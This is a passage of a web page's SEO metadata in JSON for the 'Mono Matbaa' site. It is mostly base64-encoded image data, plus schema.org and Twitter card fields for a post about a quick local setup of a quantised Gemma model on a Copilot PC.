ZgUiKD3os0+z2F7zMorr1ofoNZcUeirOAFNUhVd0zt9hR\/NDppFI54jOA58B9qBNOGWoJ6MzMdZ4VjKxlHTRY33KOuZlfmLR+kMadFNTAuQfWmgfdHFssOVfRQYf+yqMiyyecPZkdmqdXQbhtZ1DQ+cu1tLNhm+OqnAi+OWO\/ielJg+2JrscUkR8OOpF36MkcdNfFH1u4ApudeyBblYj\/6sD1ht0f3oe2uwfa8xhgT\/Acx3oA6DMB\/3dWyhoAJUb7okNr1QLzRMu6RA5teWKKvr1DaXA1NkHWH4KZLqRdNr9beanhS0fKRMTyEvzCzTFsnr3lab\/pKKscXQEWZgATCQquu3YrL4EGbx+\/vmtHZTycXWR+M5QE07qtgb10nM28aut0XV\/TJrxh14Vw67JP+b4aRQJEHwNmTErnF3k4qANT61fojZBpxDIBE7mt4GmDl75OQEbVov2OQnVaO2G0PTgPQeBeI8fvB000pn9iElA54BgLA5BnHSuUD8dKp\/j3wxX1Ol2C\/scH2ENnhDEBYdaqxC70kZ0WsgyX7Q8X2rsCGYmdzC4nLhz2FBmM8lWQXh8Tiil2317GDcmjztUMSS7jubPwv0CK8pO2SMzIA5W0uk5XKc4COwYYJRLy8qAJU0SX1HbIYqXA1XpEAt+RXxa3hT5AR3D4yhHj3jpXe4dBjtj\/xrHQ6hN5YtpYY\/VsRT8QllPhkYMPm0zvFT1DU0gJB\/inKN9og6OSHmAHgA2tiiIz2vEUUNkJ9nhBpSb091VsCw20KmCBlb\/0zZeA\/Do9OTxgH4C87FIl4r7NatUw73Kr3AkCR\/5lfo6tPTvWYCy1PFcpWMSNtbQ+GfLpf72ruXUo2aVj3AlVHQTiuUIkgU+tGsu9YFQY\/M6Ht+XKtf35Aa9f+KrO3Ivw9cWwCO9KtcEJUOlBVWc2ozJKWJdcZLBcYfDQu27toyTX2VIOvakuPaD9pfDa7T6zbx8+WQQZklLLCnGBV9VDZYebzwKzpcuWtGFzVLvgsAAeLFJcbefzo2PL9gXNicJpGjPNAsVq7mBYSVzxuJamDypQig0y3FzBuphnsVTp4OWPLBVcZRUELsTBZHsrQaONfYjgAD1mDEm7MpUBOIKbMWFp8IoE9QfJYosLU0mFS32f+7tTUj\/G+o4hOgae0DHEYlbHwqdmnLLVWkt+nxMJYHLTyeR3Jg+9galwmGceLUoGgB+gjZfgtYGLSuuRRKvLrY6u1Sp2cB2hlviaY1IoMq8ZA+AvERymkaqxOJhN2FPBF08ZhrZWl8DifuaNdvxJywh2hHxeDfKTdW0bkekGrZZSiE4Zxrpk98l1BNFQvhFZvCf3edX1CVuEL9szL0ToLVRY9sdTPYJwd\/\/mnadEGTyJzMm8PX2UrKP3oHUTHxMMRtfceFjk3q8nQrIcVT2i01S3WwRegtAcKh45+zI+7U6ILpRCeOo+CDJCLvkidMTCPAq7E2FOUwwMnjwx6GHnywexGpKV1W1vOWAI78HMXp2URgF2AEWaZm1subAep9UD6l9sgCboAElnRPUo7InhlJ8CpMmDobhosso7BXihxG9jJ9YPOvpvkp0rRzSNbACgIeUeGQFzuL2fu4OCOi0uzeaIo14n4muWeBXgE\/68cZd6YCyJlKSaZeNyxAzaKit\/II5h7DEao8Tql+qKU9A8PAc3vAkTIpEZdWbJF1gBG\/dREylkq10kj6DROhizUT4DbdQCqkiSn\/BtjxGNLdXu2iHjZAAANA\/F7kRCaAAPAq1zCUiyAnm8Wa6gZoSiGQcKACPYGC1PGqEqvVivr6tRAAAAAAA=="}],"twitter_card":"summary_large_image","twitter_misc":{"Written by":"r3dc0d3r","Est. reading time":"1 minute"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebSite","@id":"https:\/\/monomatbaa.com\/en\/#website","url":"https:\/\/monomatbaa.com\/en\/","name":"Mono Matbaa","description":"","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/monomatbaa.com\/en\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"en-US"},{"@type":"ImageObject","@id":"https:\/\/monomatbaa.com\/en\/few-shot\/gemma-4-31b-it-awq-4bit-on-copilot-pc-5-minute-setup\/#primaryimage","inLanguage":"en-US","url":"data:image\/webp;base64,UklGRtYoAABXRUJQVlA4IMooAADQkgCdASr2ARUBPjEYi0QiIaEQuexcIAMEs7XroNbIw+BM2N\/8bhxPXcecfs8d3PkmA0S2aUzq4UWRGiM\/K729Lq\/avw97LvS7qXywvL\/z3\/Gf3n90v8F8OP9L+Rny5\/Sv\/A9wL9PP8v\/af3e\/wfxQfrB7zv7b\/mvyA+Af9J\/wP\/h\/v3u1\/3j\/gf473L\/2T\/Kf6r+5f5n5Bv5T\/c\/+d6yXsL\/up7AX9A\/0P\/\/9m\/\/Y\/+X\/R\/v\/9Gf7O\/+\/\/S\/A7+wP\/k9gD\/0+oB\/4enX8v\/+PpW9kPznmT11vZXOV\/ez8f63eyPgBezv8B+Y3ucvmegXab1CPWX7f\/y\/7731XpB81XuAflf7B97t9w9QD+Wf0\/\/Y\/4D9yvic\/8f9l6APsr\/2+4j\/Pv7d\/0P757Wv\/\/9un7p\/\/\/3KP2I\/\/4Z+3I+gz5\/ILZb406IGkEa0P6vCT845rNPtQYEd9txLK2Dpp2YSIfQirEuG7rLCtj8tnwWuObLJBE6jPxn+oHLu5SRkgm5vYPsloHaqOaprE3+9WVhLc8s2gV0RjIqaraI0jRftBrF2komN88YdwBSVaGNCQVmWLBVZYQ3afY+aVyIoPlkKnX3zYWfqucegblh6nW5y2LgcQ2Eagwtroi6JSW+k\/SoucAAvkkxJtHRIU3fJyWpI8KAGD1dWCSGNHqkOHebLvLOmynaXFIAlDZvNcwaJsz7R2PPKLhf373MgsGkwhpY9MlvNha48iiefv610NORKmwhuzS75g8iZee8vo2g4wBUV4UPp2tkVkzQVhs8X+pRccXBsNAnK4vcwIkIIHoqeNb2qCRqCjxlU0uERdkWTcn4xDY4KC4vGIz2fR6XANM+gE1aNHSFiB4BQJRIJuOknAdiG\/H05+pFWO\/gHCfIoGwrK3BG8Y5mG1+AU85nHhO2M1eyUkyoOQLoBVlfPMIs4DM\/V9ZZ6lljFtf6vOnazeef6j3MCA5G+GM20BozcEGhvYTgmRx4GBmbaXN4G6viEMIWbM1VFo60BiiNT3shLNDssaYYHgMrhymhjZM8V2IDgdMDaURTfKpndIhLj1AdVBlZrRWYBMMrrD5zYv7H2XRGD8ewEX0sv54HOC5yzYA0tUVDAx\/IoQO+aYoXGzF2lB7u3xef2IYhOS6apoc15eBTLYIDjh0Al92ZgqGBXiQGSjvDDTXzSAVciZ1qfax+xO23ruKp3R7utkttb7q0R0LnPZRXD72kPVSMo+jdFLUgd8f\/OY8QJZZWIXABHtDYHXq6EJtwkG5xwTHknelc49addrEnnsYW+TMB1V0ue5Faq8FCuyqoMt8yIL8RD12h1UsaDU6BRQplhcuGxkN2eQUwckmnLvFONhJCy\/JxlSNjSvnq2m3ySQMOsqRDaKpNpIaurtq0yONZg4RHHloCt\/K7TP+d3xk5B2h0q0d9+kq\/lvL06yLrh+rJJQAH8\/EQCuPJ+VIWfA7H\/ypXp5NQXqQgArWmGTQoDMKTicxETDaIBHqKx8\/GZTMFQW7oANzySci1eFFyFaFEIVFWQI5kqgYlBbx08p5jf5TIp0xmZ6MseQ3Ie3nybS5niF8g3lug8AAP73Gzzpsq3sulH5NyyyUJ3eiSNmnEOc+UwKwipZAKEx9mpHsl4x5by+rzk3xcsEbvy9RHeO78NkDK59a9OiQ+YYlHPbN9gpH+1wRPDXcGzsVNmc9irvY085zNOoQtbV4ZEC7U4DaExFYMIB3dohdkKZuYrUY4Owdb8yDcwPDVxK1IPTPnlv8+OHefpgVAi8dJyFH+4bc8yQv4tdOWnnq0oFEG73AiETRY72TgVwbox1PmTKT5ouoW2LWvHVKlmrHHkFwrnsV6pM4tJnVHKLQ4f4jW2HwaSgOfi6X0CgzTpf\/X8puuEORRG2RKxkpeLvgEe7ZUmDyr\/Kc4YxuHxAuz1VtOL0j5lCjHFVFxuuFt0mh6MOGQpGZlyNiKzP0wUmAv5e13x3bc\/gQ9C3OzRDdk3qVT+uZLDSspOG6IAhslH+q2wpqV0w6+PlLXK496g0NGt\/trpnaa0EhGJ18r6OcaJJs0asxP7uYH7QstolNjmPUnrWJd\/TcpRHbcx2AcC7sxZZJC2wH9pXLdOdSlP1pHAZIGvmuHUl7b9t0tMCSQeQd6nyir0CgycIQm1\/EoEDx8MslgEXy08X10kj8TbDOV74oeB6U53upyVLm8JVNGxPQWCZ7R\/RojTFfBtOvXNK8V2sLvk9sbEmzgmDLCv37yWLTnGSCblQQr0hMIKmhqSCyaB99njHpXE5FEO0ao5Aae\/RB+1TwZWrfg1BrAt6hFxKsOvtqu\/Aiv4YI855iAjRu7Nl6xubz+bKBuR4yaXaxgCPQ+kirYMwKvuWNN46TOmdlBtxDPrvCLuAVBYGKEHC+9qpIygZRrqDkbuvrKwyo+fwWsqBItVr+ijCzeYLezoKE65stpflNlaHGIjQDRZ3RTgSehUnBHW0bC0nl2ubADHyta7gI8WOkc2ClS\/r9B9rZMkQP66OVm09gp7rWoXlKKR6AN26eSv1WiD9kin69XjbgB7HfSCs3NCoCW2TGnlxGyXOIpACs9XWCf6PHjWAep7T2MI27eDIzyx8N5uP8piKpTp1i1sBC9y+o5XHXhXLiKkaxHHUFcK7rylL504C45NqVsUZgsKuPilz96HdYcy8IVXgSDzdQ7wR1vererQurzrdERN8xSsF8UzaIrlgfkOLxUSl+6cVjeXXuxbERjIi2UsKiN7hxWlSEsSNhBYmMkxgMo6tYWVsYVaQxP0b\/ffXO7M2xPfeZjBy7sWleSSTfU8UJy66vRviMNmQUS17DS\/iyfqflkP\/KRGcc8BFGeXKJJw3Uip3isPJXRKb0d61Tx4QxS2tHJz5EozWYcFBdidX+NxWNuolXNytmxl4U+rKoBZjXOznOktq8fpZFQgi8EPL4ZGewGZXFDboaqWCGf1ShmLtSyAlS1n9NHIUuUsTwKfAYt36CEYpoY5C780De0yNch3x0avc2v7Ssp724r9lLMgCaCNFOceGbFBbWoivgynryiCqpug5svNB\/ATX+pRAsgbygbFYciwdYJFLszq9Re2zD4K2bI124dqGulmO932vVL5k4zYXDjJAkPmEHnYHCcUVJS+qa5JeVYL25s6M8ezQtb3II1w7yD\/lxdoC7iAbXWQ5FOJQIVu5dJieZ2iJJ2NtXxcnd8oeM9slbUYLNhY879UcPP55E+cnf3ioL3wtvAjykuhIG95ZS+l2VIXsglRJCXTb09gLkJM1\/epEeHVbcZZkvq+xct+0+ktyvscmRMhDElSl\/xhrHx7Ey8baCNAPh+FgBpeJp4P+m3VpaqqzvyW5h2ef\/rrEVSvvHHfTXn8swuIFeWpBmhZjIaHOtRnoeYduXK\/4VTpz2e0nP3G2UzuS+8NBcf4ajrehoD3Nv610pYcJzfoTkLxSCiKnumk0NQa9RjMLG8x0tcsQWSt3nFDMToTCjvQDuusmqA+bxSHxnW9VgcakkmuY5ceDEZwPlrycOZvslhSvhojQuKaJDLE3LMfWwRHMIyZYYVWDe2AYo88hS1+b9+LB5ulCBoD44Zo5nOuxfYh5g0+gZlaiO2Z4n\/jfdUYFvvKWmbw0Q0qcb12zBn\/R6rs6prd+pbIm6v8GAOlQNcLshVv0Gb03l1lUfPzT2tyrNfjyaoS11VCYucb9l7e1Prw5lrDp8BVqp4PsnOJH\/dsRUDutXu\/yX68AkCK80NWbqh0W0lrdUo1TzSgumOipt7fE6TJwfOvkj3gEyhTvi2Obm8L\/7o2H9+\/KhfuSTaeyanLj0bMbcUyPyPWVioUZ6PvKCF+iK7B77cCEJXvrRG+WC1GxdpbgLERzsUuWdbQy9nj3hv8S5NASVKNeQ\/hZbOOFIInFVKVys8a\/jYycPx2\/c4dtIbxOrdY5sH11sWxErTb6y5siw4vJbrFmywPWeDSgnOGQ8ioXRvc1MlOlwfSvFIbDS1IUeHTnGfKK\/v1xePcTG8CNiRwOq1ADPIAajQSC6QzuGBOnRBsV1AJVoHBZlIuljJLuAoRTiSbwGkzav+\/EyYxjsdJG+GeE5hfI\/\/CoR9jgvsAQPutRXUJchFdvfd\/BvwviiB9YEg\/gn0bl6LqzGLrHh8vMqi1cG\/37GvJooy1EhRyo+0aMYZLj\/+4EtsQRyvfFk00QPonpCo9\/5fEAiSkEFuhE72pplN2aNDymfkZgWIdyxE2MPdR3F52cFUwJ1xSHyp41O7VKrTo+BfZ8LzVqY+tKMuMmCAJFtY96DeDgILIN\/+PzBN1\/KaJgCWo6EcNiV8XBXz6o95JDIVW0\/Lfh8WQuwAn0r\/5SJDfEAz3Bk+6zlnjkhxn8xhubDwyz5LU5r\/+YwnFAr3tAM8Iex4BOD0UN9ZS+LKVgn+GJ3uKPo\/PWPf\/lPG+L7+zEqWpopYmf2Eu4JQmVJSHss\/Fm58VU1PYutLTd62Nmx8KbJxRg6kYGw1j71ypFZdFZJUQ+dnjjEtO6mInn2SAMBO33XarmuegGeftc5aqoyHmFDVxjkJgiX7quvrQzBH7Ybypgkr6BKPmPLYHmlbtjWOqWzL3rtbeesBtGENAFN05waX\/nWW9JPKHaOYHD\/Shfrigjigj3AMrc4O+UpNKlhYjSKcEbHnUJ5OsM\/YIjfto2IaoiudrLqDGLKNYi3lyTnEZCu6PmUlp7vSGcl0Gw6FvTcxlnzc5CovIBNrE2rb5TcSXXhs2k4sLXUsxmgSgCAdkSOe3j6ICY8hUSrKUkNSrTrjTRqR8C2kcgRQM123qJgrqX9YqwDjh+GW8gRTmPEKoDiU6ZMnCrOPnhVJXbFDcOMnhDGrVmvaydnB1cVqmKyV8TGT64obeweO2AWBzMbR+o5T22ju7zaEAxEaG\/vusNe0jE7gGlFHNH1AGH9Lm1XfIXQK7aQjQzXGdIy9E6dp4LFBmqUo9ftbbHPUJKY\/wybgivDF3g\/vsVWEuDaGgAnxnPOYdb0Numhn53sqGWtR\/sKuLc3I5jAnEaDzLB1Um4pUXxHSFqyrXnNrIsdFjqMw79JuDpZc4zUlxRw6zUXmZAlW3N1Zqh0LtluWdh6D5kWGzH1VE6VHn4JewrRqaqamp+lsc5gUdWMqIJ7uU+FtSFFV0VhwzaO4El\/Qmeg2cw8Q6dPEPzdbJ9HuEu13yem7CiSe3KH\/wAkI\/dLsIK2603qDJnnvd02MXmqJRuCnUchOmoxLowAna1KJpOzRbYT\/qW9AYhLi5Ei\/IZCPj1fTVWVVXNHS7Hh2Xxg7Gd01mXN+5CRhFUD6ZE5sMdebjM2HCHDRbMZhqG\/\/c8REvj+6A+fz9oBTAy2CMlNlvWm7j6LLQpNvbaEdERWgO\/bLYEln9zA7nesP3crIt3\/DUR7R0YTWqvOQwW2LwSzWnQhiNhWNE8MRP0\/sB65\/9wpiAAXXm9MYZRx4xaccyxnkwSVPpoAd1VmWbNUsix0sYSaqPgEvkCZKrTYaXntNwCO57lXgokUhky68yCeOGz2+W4ZtwsuLJm4UDp4oeGG5Y3bjEgk5AVXCzaYVqWT530G5TBlyDj1xVo7EU+F8DAbUFObq6mxRFtq6hVuRKYcXNIZGH53i+D+7+kEhGG9ZQzN\/ky2zdIr\/F81rkF4QJ6M\/yviIBCMFOJYgB6NkMCpeOiO8Q\/bzjpWfklbaxh8ZAUG36fcArxBxcIFkOrNNlmXijCejpExNk\/M39BrPm6cLk1JjfCKab\/9y5GYtuyr+pkhQMY0UUiVw8okRyJg5mUJ1ogoB77HZ69xpQnM8j+onI7e8d0e5TC4EQpwvshMgD2o+EPJ8rTdScFPghJJCK058yZoO1jwqnL4oHM9IONBnu6tdpwreYaNdYmoe8f+UieXHaj\/1OtsXQ775i1Z8qUd+mOpx+zxRJX9ub8a0CgLOnAtqiPOmHFtTvzxinwe8TUwdFGyYVgNHt+2o5g\/eiBV6YSxNdiShRTTtj2d5d6BRxCyKZ5e7+dsBuCWBDQEPktDg2arzx4lzsJ2\/3GMZJa2W6wFVoy3P6QcPw6hbWOR6nGHurtTZWCsoHZ\/MP3vOl5lzOjCeNW+LxcA4CbN0nvR5v6WA8kMArEgMZ93PIJLUp9u28WO8vs+nb2LBZs5ABGagj80wN5wzxATXn1GbeN+K4mnljB7FhOJ5B6gQdxGvz\/KtIgzSQ6UAp6SitqGTX3QQD7HdDfnxk6wvetXkfeWODMr2v6HFxEa9kNjIx9btQzUNCVJJaRMO024duPdv34W5PrzN\/1HJEMbxrtQ2ww4az\/7i+rwb+Lb4s6bnO+9+oDhDVpLXv1LRANf31Q2Q5u3J4bvzY4+VtCHFDZ+27c0+aOG2qSbgAF0BxkDElFHvNhKFZW9lyOGIm5COzEe\/NSzMXTc4WZyZkMR5PC\/P50gezVZPTQXb0pjf6Fhg\/2+9e8snY\/5FkxJsjNPhqIGMfuuJZLF6rTAcLFVUMxwvty1NUfQEvXuUVgakKQn5doxVyElvuX9es9oA7YX8oexB1TxU8tCtfpRXGKTVow2vm4bSYT4Fr3YF\/3zDRTlXC\/O9wwQfkwmkGonmoHWAWeCZgYUXsLs0cEHk\/vZx1p33rrGXILhPIwyWISMY3wSEq+qRWQCp8ffdyJIaeqiP\/rQCXdIb5XA9UkMWt7QOG03XD04DjmWeBfXd0ykBw5KmH30zz38aMvLGPaBysvdC7Dx9D7MVsd6VrMrUQwpPGzph8ley\/wlgwm\/IqUGlsEIWFEUz2p0vk48fC6\/RaZFqfTRNqBigTQu+7SeAkDd+KvpwuibR2DjA2uhqjQJqkiIsAJ6qbjbSa8ldjaKZPrGOtArhxhyiZnpaR5IaH5XO1wljlbcmeRcnCBhIUVdwAf9qASL6F7YQtqbpZxN7ZvPLnEcKCkcDLnLI6Pp5CIDqAICjFxF9whXD4Ke+s8kTA94w\/5h1qX0aUa1OMb7rROk8f71cWc6k1q45dHdjT4Cd96iB93mNRbeGQ3+V4\/x1C8osy\/RWacVWMNdWa65E4WO\/wm8Zbb0O8MB11pPbuPlEvyRpL\/iF9XJaq702voKwukPEeqcmzm+PWpwhdYPyVKBJ\/Nkz7rzO6A6GqI0JNayUH2J4Mp84WtCZHcVD365L0JAJQTkIak\/UREFdCXWxw3XGxmPuF7jUjJcw3tZiR5oVFcsUMW5WMHMytegi8\/HbVuGGQ1XLsUbeIjL8ZaXikb\/XUvhwId2KNFtLAyBUQay34UwWIq8B4BoER49Yp0VChx9BIidRhpga3qhT3XPOJh226G5OoJ7kQ4j71kTWglyN+99bmG0T+BOmhERnTeq9X3z93dpTbDHobpj+BmqioCMB0eAVnxsivDoM6Ou0akQKCsZXXy6jL1jhD73R7aEBkldnBcZ5q8YtXEfo47EWuEjQD83lYtqZKlKHsnK5RwsypzQm5JZVCDpZEAkEetvvLq9g1Wq+rQ7pPRNsBY76ghTYBzAYD+eh06MG8NaTXAqCa7qPoeK8THKybkwvpJeyLreqKPGL\/K0wBahZxI2IphEiP3xsE2Jwo8EhfKdn9e60QuRJfclKZ32bHf8avEaqkKmoEohhLqrKxlIzjcQ2ddUUvHalbTQJKxoemSEFFYjnIIiwBKLsRo6ueiU3gWAyShJ0XMNrZrBFwum8sBoDm+kznAcKO2jWqpr74X0y5CQjc4BZOw5AZ5dswSV80n5jAU8+spDzn4HRhkZW17r73Wvwm+EhCqZFdxMy5J0Dk+y7zjhRkIwgUNmKFNbYiPxDpcimnmYEplcdqla7r6D0FHJhoERsYrFfxhOnkgZvbJfaUOZCoJwmiPFoi359vlo9LVR15JEFjX46sZIhjlNQhXKTnCCYcFb7kmGW6Vn25NTpNYHHWaWCE\/ZrJaZN3ND1Bf8hWgguihAHVejTzkIfy9CSFduiPYq4w9X3Vi2twfhJw7HzqHytsXYJifc4Sk4dbz2xpMe3hMnw1Iyhto0F9Q1oF5Na0oDxjzJpsHRtaozWTilrAsllDRQDCcz1O7JAuS2qppUQzX+KQI9cVCcf1oie\/CPX3WYnRaqVPKzHbdgvKGXjH4FGyJHRAWKS6bw0Ui2FgQPtXPwjTtGQ8xB0VcDu6KRiLZ+AVLtBQUvTjTu0vh1yx6ySL52YzzSpuwf3EJd6L59G14jvMISC44UXCdeQPXwKLACOAiIh1w+3du\/eY80kPRiHy987DeNxq884kE1kSXU1GhupmfF4GH0xDEGurj9TGe4\/YFO7x9fG91Rvqwertl0serpxhLu2y2fTvvRjzSwqS3sG7Xcmn+aSLSRm7U3dvvyqooCaeQelNPrzpWuGrjevtbyxzysQFzsR6ceuOhYd9O9cZ1tR9FzGzMnAjVPO7hgSqehoYkKzj9GpiY2ZND8Sl8Qk4fPMpT5auDwaw2D+BxkOPOHZ3pRWxB8wQnR+fSjVM66ELllibP6vlc7Rq2HrJpFvggZUNomBw5zu2ECjwt50kSgi5MP68j+HLDVDSgunMcRb5uGqPgPgXbRoQWQHt+zo748ZgOs8VO75d77R8O9ZTnKrArO50epktdzfrLcK5TQMBpmyn4w92aKK5C7fVB1D\/lGp+VyJ+lnjq7zr0rfyZwioWmDP2DXU9eR5a1WszwJIU7iCLbO35AYEgj\/8GC2Y7cmhP8Q8HrRzJDJW\/dKI8Of247xr4HVuL0nivz+jnMzOMFIzRDcvBs5qqggFIWDSdYSzBCFnOccXv69mE19pMoU1VDhS+aqZWBqEGGkNgYJheU9EM\/yuWXQKzxf7bxyejuzytjgCQIHKsdRyWOFruJ1ZdHhyNn\/uShCjOG9zspldpmSgJOWu2\/\/CtOt1v3+XFdBYB2TSotPApdHAzLgzbzm9v64ipj+0gXRGlNQlry4RBCPFX46Ifi7hJU7MqSiKH\/yp6EhD4OTyvxerNPqu8gc2BMfs7qXeoQuYsZ0uge1PemYBviQ8jT+Zl4R5cyAVK+cUDxLgrflAiW+5KHTHyjSjt5gb8owzwZXikEeiQUrLTaUFOMC7xYIGru0DkSeTA8Q4oOEdA0nUCvHecqoUwzMliW2IbU44NA7T2k4zorOIA5+52bYbwxIO\/A66XasWyfM+ExJxYefn12BN4XT3bncCxbcR34kOWr10LMWmD+ApYA0YaO8clPSdotBc2o3j3eGR7W+3I1To93BCRWPXOb\/hvwgkhsgiGkAOdCvTYCfkNDKLxT\/0viSI+QOkhL3eVgYUk7x+CV6DEh7Fr82SdDbjJ0jH7Dn480RrYBowhsEyJ7H+\/SQetPiklCWLAZnC4edv+9GrkXH+xbmRT4IVviFvkSys7GYfO\/9GngPjM7LTIPzcpHs5750JtJbhZrOTACNbzrV1sfozbJxzusjBTX0YWy77k\/8TVfPV0HUuw9thzfjzV6MuUQa9rynn6\/tCBirzRjBWSjUk+n6H5mZFsOMX9+OdNZxWSLNGvKWyqeop2NHE6uPFiiiqbD9Hb6SnAP1loWqD5EBEQo5+B36Jp+EVdYBxVpNs7JhRmHaN2sXiVyMVaRPMyiZqwnBUnz5a2QBVkIC8lddMmmM6yxkZ8ELbw5uCW1lSLgZ57Npr\/2WzwoZC79FG1jL3budhOteG\/XDIbDtCplmdkPNxKGAC6Et8rpnlprBjV8AfIs4I80rzVV7MI75WnD6Z3DAzrd9ks2e9MXF\/TUOh0cINY+25KBBD38EPnuHi2sG4\/iho10X0VjkiFcoUe7mFsz86A80Cks73WM\/wtRabP05m9P0P4qmtzANfpeQtD+52VAeIIMmIuC3\/EVckiMY2v2lqENDkYVDMilZh98d4ov31PSNYabaxe2GD6Uz9m6RS2a6sY\/0ioAtgZ\/SyqfwhQ0eNMsYlZDU4vGqNraf\/BA3EQ601lxguJlza9iDIAC5oPxEFnsv9SBj3hg96MwvQKvIO9CHf8PfKZ4abWfJVBF2xC8fdVvTv8SfRp2p9\/v3FZerCVBt7FFO1XPHFMgyKwC2heeJ7axHfBedA7m3eEU+HJ5URnrSJYwimWMJT4asaxqHuizMUamg65MtFxViSU1G+s6JSzVu4yMwXq1vx\/z87+4V4VZE9\/Bm163SWtGBHLWEDGZjOUweLClJ9Sk\/nM205k9\/r4Dy0x+MNAFrT7O7Ka9lfTksxnLSGxlJCWQgqFl9r0uC2ZRha7A7OOzEG6xtkmssmebl8B2R0AOUGucI4ky6ynvLWICHrjhkK2axCo0MSEB0e7v5G2K3uK9Kc1hTEVpFjbt1j1cEf92xHewGzWTaXX4HyD0IqrG0rhD60zg51g12L1tEee\/GpVLHKEo3JX2wG+qZHMdlTWo59\/\/Cpf4QcXeIOp0JC12u6lVAqRtWZ557F\/+8skkKexdF0RzWeokAI0XJ3X\/4OQkPk++XrErBpRR2u\/Qjoi0WF9AvC8\/gxftVKxqXXVlG7loElEtlEOARPqhVnIzAzdv1ZsAhUlCeMWSPu88Hgt1VEfyYLXyfKkBBHDmf9Fz59QTpfetopvQnzzlkwmmJEQ2vMq\/+Gfn3bS9nZ+vi85eGdz52D2hiDFlXbVoB89P\/wcatHSmMnSEK0\/fx8GbUo344DfAs6Tzngq1nYYP9LDksJQ1K1knv145EFt\/ELR+57y1xFDr9+aKRNFm\/BAbmns3MyRnOEY4RzuO3jFhKZXivDDp6fkyD1FFBMSh0CfaXU2glSVVlLzEcU7vMeZ5Rg3ZvKIEj8KpPcdQvKVPUV7mGWDlgFb20P3QKz7KijEgUUoXcTkLrjZPIhOUuW\/oBn72Map+OU+MdKvtYExvQ+C5HN1E0FZpVb+3RPi+Nx6FgPOfXZPlh46pi+1kSFgVbMlDfJ1nYS9kkFTK8nD4lPYVLArO6NpMT9O+7icITwvDGsajD+jdarZ48Am97ylVropVJs69HTaU\/NHHI4SGqqT5vFQKVVrmj8ZffYr6O48WxHxaVSElkQvpjDlRE1eywA++bcooIalgxDorMP4klr6ElzwJLKNPvszt5ju0IFk6aRaUc5l3tXvJW+bPgUhVt5Fo9fdJJaSUYekRY58LDQbZq5OrHQZfDRyKoP5yOkF3yGycFx2xYXcu\/GFL5sSb654T6xA14hXMBcprkF5bcvdy3atjj9qzh5yDDk7Sdbybjr4DcFNo7nLWpOmpH8SNlesIfNI9AS2U5hPkY3EplFE8jTUSF2SyU69lNXZ9lT2Vm+3tl2iO9+xj9s1qC1Ts3u0Iou1cigh5zIIgemID0UyjfvvzBbTV\/HugWJNwbz+ArhdsI0oDwGurkS2ZNsyXDmtMfVxza7mrs7pjx1\/Y4wg2OZmIY8dbckPxXDEzfu2iMr0KVvazPwCkyaNr+s3VNYByAykoxgxPAC6mJVKuxHn\/qrqINgIVcw6mAUgAvThQSGGbAlqXE4mkGNoXNnhMl6ZK5aYgfkG6OKpUDf2CfTopI2R1SGXEVUXteUtOa8l7yOJqcwYJIO+MKajLfz2\/M88mNbuvGuG\/Q9qCCWEhPUOH2xTG2j4vAkZqXarwqNMdIXTS\/EK1f2kQkRke71O6ilfd2nHisxmmKxEV6GJqea8R7KGke\/TVY+kJA5mwKAhzL6GN8lI+wx1GQyxExQV5hpz7Vwq88LM\/mrF70lpk5V9QY6p0yGc\/LY5ZZhPPiZ51SnPxeuD08WDHj4VGX66KBFmI0X6XWbmJyX0IfwwB7f\/lr9IED3YBqz2tTAnxYE0umsPdwrJLGeki2yS1+SzNoXKiXY0D3ajBKB4jCaF8PSpRTQUzsSchmKe0nEmeR4CUlPWi6GNaxRAtZtD14mfxl6idXq5Pf\/iBlGRdgh2mgY4tZy3LAN5sbX1C530OjgIz2SuNZoC+hxKBFNGFuiJtGYymqElN58ASN2CIOIRnEAQ2XlyhWTwtgJSmg3DJGh8Wc2KgOpWN5VZ7S2PxzRCBR2xp1QI1RmA3eMcoP0vAowghU55q9i0B5486qvC2kN3SvSZ6yib9zp1r+e\/FTveOmQ4NAgm\/KxDSjAlGoEPku76mOUIv892rhDkw9PIydhZ+uxeV3uDAzzt+9RCfehP5KnVrEs2GE8OQFFacguTVBuHXVU7TwSV9WEX\/K2nzRpbV3FH6GzUWnpoyBYhbtGnyZvZgUiKD3os0+z2F7zMorr1ofoNZcUeirOAFNUhVd0zt9hR\/NDppFI54jOA58B9qBNOGWoJ6MzMdZ4VjKxlHTRY33KOuZlfmLR+kMadFNTAuQfWmgfdHFssOVfRQYf+yqMiyyecPZkdmqdXQbhtZ1DQ+cu1tLNhm+OqnAi+OWO\/ielJg+2JrscUkR8OOpF36MkcdNfFH1u4ApudeyBblYj\/6sD1ht0f3oe2uwfa8xhgT\/Acx3oA6DMB\/3dWyhoAJUb7okNr1QLzRMu6RA5teWKKvr1DaXA1NkHWH4KZLqRdNr9beanhS0fKRMTyEvzCzTFsnr3lab\/pKKscXQEWZgATCQquu3YrL4EGbx+\/vmtHZTycXWR+M5QE07qtgb10nM28aut0XV\/TJrxh14Vw67JP+b4aRQJEHwNmTErnF3k4qANT61fojZBpxDIBE7mt4GmDl75OQEbVov2OQnVaO2G0PTgPQeBeI8fvB000pn9iElA54BgLA5BnHSuUD8dKp\/j3wxX1Ol2C\/scH2ENnhDEBYdaqxC70kZ0WsgyX7Q8X2rsCGYmdzC4nLhz2FBmM8lWQXh8Tiil2317GDcmjztUMSS7jubPwv0CK8pO2SMzIA5W0uk5XKc4COwYYJRLy8qAJU0SX1HbIYqXA1XpEAt+RXxa3hT5AR3D4yhHj3jpXe4dBjtj\/xrHQ6hN5YtpYY\/VsRT8QllPhkYMPm0zvFT1DU0gJB\/inKN9og6OSHmAHgA2tiiIz2vEUUNkJ9nhBpSb091VsCw20KmCBlb\/0zZeA\/Do9OTxgH4C87FIl4r7NatUw73Kr3AkCR\/5lfo6tPTvWYCy1PFcpWMSNtbQ+GfLpf72ruXUo2aVj3AlVHQTiuUIkgU+tGsu9YFQY\/M6Ht+XKtf35Aa9f+KrO3Ivw9cWwCO9KtcEJUOlBVWc2ozJKWJdcZLBcYfDQu27toyTX2VIOvakuPaD9pfDa7T6zbx8+WQQZklLLCnGBV9VDZYebzwKzpcuWtGFzVLvgsAAeLFJcbefzo2PL9gXNicJpGjPNAsVq7mBYSVzxuJamDypQig0y3FzBuphnsVTp4OWPLBVcZRUELsTBZHsrQaONfYjgAD1mDEm7MpUBOIKbMWFp8IoE9QfJYosLU0mFS32f+7tTUj\/G+o4hOgae0DHEYlbHwqdmnLLVWkt+nxMJYHL